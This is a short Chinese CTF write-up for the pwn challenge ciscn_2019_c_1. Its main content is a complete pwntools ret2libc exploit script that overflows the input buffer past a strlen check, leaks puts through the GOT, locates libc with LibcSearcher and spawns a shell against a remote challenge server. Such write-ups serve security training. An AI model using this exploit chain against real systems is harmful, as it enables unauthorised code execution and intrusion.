ciscn_2019_c_1

时隔一个月后写出的第一道ret2libc。
image
可以看到它的逻辑就是输入1进入一个漏洞函数。
image
漏洞函数稍微有一点逆向基础都可以看出这是对大小写还有数字进行的异或,但是有用吗,这不是逆向,所以根本不用去管。看到上面有个strlen函数,果断写'/0'去绕过。
这道题没有给libc版本,恶心,需要靠LibcSearcher去寻找,或者一个个试。

点击查看代码
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io = remote("node4.buuoj.cn",28824)
elf = ELF('./ciscn_2019_c_1')

pop_rdi_ret = 0x0000000000400c83   
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']
payload1 = 'A'*(88) + p64(pop_rdi_ret)
payload1 += p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.sendlineafter("Input your choice!\n","1")
io.sendlineafter("Input your Plaintext to be encrypted\n",payload1)

io.recvuntil("Ciphertext\n")
io.recvline()
puts_leak = u64(io.recvline()[:-1].ljust(8, '\0'))
libc = LibcSearcher('puts',puts_leak)
libc_offset = puts_leak - libc.dump('puts')
sys_addr = libc_offset + libc.dump('system')
bin_sh_addr = libc_offset + libc.dump('str_bin_sh')

ret = 0x00000000004006b9
payload2 = 'A'*(88) + p64(ret)
payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr)
io.sendline("1")
io.sendlineafter("Input your Plaintext to be encrypted\n",payload2)
io.interactive()
puts_leak = u64(io.recvline()[:-1].ljust(8, '\0')) 接收语句可以回来看看, 64位传参可以看看 amd64的参数调用顺序是如下序列的自后而前,即:完成传递参数(地址)->本函数地址 -> 返回地址 ... -> pop_rdi;ret -> argv -> call_addr -> ret_address
posted @ 2022-06-27 15:07  REPWNER  阅读(11)  评论(0)    收藏  举报